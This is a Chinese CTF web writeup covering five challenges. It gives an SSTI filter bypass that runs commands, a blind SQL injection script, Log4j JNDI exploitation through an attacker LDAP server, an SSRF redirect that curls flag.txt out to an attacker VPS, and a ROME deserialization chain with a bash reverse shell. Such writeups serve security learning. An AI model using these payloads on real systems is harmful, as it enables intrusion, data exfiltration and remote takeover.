CTF Web 的一些比赛题 Writeup
字数 1448 2025-08-06 20:12:36
CTF Web题目Writeup解析与教学文档
目录
- DASCTF2022 7月赛 - Harddisk (SSTI绕过)
- DASCTF2022 7月赛 - 绝对防御 (SQL盲注)
- tenableCTF - Log Forge (Log4j漏洞利用)
- CISCN2022_西北分区赛 - MagicProxy (SSRF+命令执行)
- CISCN2022_华东北分区赛 - Java题 (ROME反序列化链)
1. DASCTF2022 7月赛 - Harddisk (SSTI绕过)
题目分析
- 初始以为是SQL注入,但输入内容会回显,判断为SSTI(服务器端模板注入)
- 测试发现
{{}}被过滤,但{%%}可用 print关键字被过滤,需要无回显利用
绕过技巧
-
字符过滤绕过:
- 使用
attr过滤器调用属性 - 使用Unicode编码绕过关键字过滤(
\u005f代替_等) - 使用换行符
\n代替空格
- 使用
-
构造对象链:
{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")等价于:
{}.__class__.__base__ -
查找目标类:
- 使用
__subclasses__()列出所有子类 - 通过循环和条件判断定位
os._wrap_close类
- 使用
最终Payload
{% for c in {}|attr("__class__")|attr("__base__")|attr("__subclasses__")() %}
{% if c|attr("__name__") in "_wrap_close" %}
{{ c|attr("__init__")|attr("__globals__")|attr("get")("popen")("cmd") }}
{% endif %}
{% endfor %}
2. DASCTF2022 7月赛 - 绝对防御 (SQL盲注)
题目分析
- 发现GET参数
id存在注入点 - 数字型注入,过滤了
if函数和union select - 表结构猜测:id, username, password
注入技巧
-
使用LIKE进行盲注:
2 and password like '%'#等价于:
select username from users where id = 1 and password like '%'# -
Python自动化脚本:
import requests import time flag = "" chars = "0123456789QAZXSWEDCVFRTGBNHYUJMKIOLP-{}" for j in range(1, 120): for i in chars: if i in "-{}": i = "\\" + i url = f"http://target/SUPPERAPI.php?id=2 and password like '{flag}{i}%25'#" res = requests.get(url) time.sleep(0.1) # 防止429错误 if "flag" in res.text: flag += i print(flag) break
3. tenableCTF - Log Forge (Log4j漏洞利用)
漏洞分析
- 使用Log4j-core 2.14.0版本,存在CVE-2021-44228漏洞
- 可控变量
dbgmsg可用于触发漏洞
利用步骤
-
搭建恶意LDAP服务器:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your_vps_ip -p 8080 -l 8089 -
构造恶意Payload:
${jndi:ldap://your_vps_ip:1389/Exploit} -
触发漏洞:
通过可控参数发送Payload,服务器会请求恶意LDAP服务并执行命令
4. CISCN2022_西北分区赛 - MagicProxy (SSRF+命令执行)
漏洞分析
-
SSRF漏洞:
/proxy路由接收url参数- 限制:必须使用http/https协议,不能使用本地IP
- 支持30x重定向且重定向后无限制
-
命令执行:
/admin路由接收command参数- 限制:仅允许127.0.0.1访问
- 需要Basic认证:
Admin:AdminE6fdEiU7
利用步骤
-
构造重定向服务:
from flask import Flask, redirect app = Flask(__name__) @app.route('/') def hello_world(): return redirect('http://127.0.0.1:8080/admin?command=curl%20-X%20POST%20-F%20xx=@flag.txt%20http://your_vps:8989/', code=301) if __name__ == '__main__': app.run(host="0.0.0.0", port=8080) -
发送SSRF请求:
GET /proxy?url=http://your_redirect_server HTTP/1.1 Host: target Authorization: Basic QWRtaW46QWRtaW5FNmZkRWlVNw==
5. CISCN2022_华东北分区赛 - Java题 (ROME反序列化链)
漏洞分析
- 使用
ToStringBean类,考察ROME反序列化链 - 利用
BadAttributeValueExpException作为入口点
利用步骤
-
编写恶意类:
public class atao extends AbstractTranslet { public atao() throws IOException { Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec bash -i &>/dev/tcp/ip/port <&1"}); } // 其他必要方法... } -
构造利用链:
TemplatesImpl templates = new TemplatesImpl(); // 设置_bytecodes, _name, _tfactory字段 ToStringBean bean = new ToStringBean(Templates.class, templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); // 通过反射设置val字段为bean -
生成Payload:
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(bad); oos.close(); String payload = Base64.getEncoder().encodeToString(baos.toByteArray()); -
发送Payload:
将生成的Base64编码字符串URL编码后发送
总结
本教学文档涵盖了多种CTF Web题型的关键解法,包括:
- SSTI绕过技巧
- SQL盲注自动化
- Log4j漏洞利用
- SSRF与命令执行结合
- Java反序列化链构造
每种技术都提供了详细的利用步骤和代码示例,可作为CTF解题的参考指南。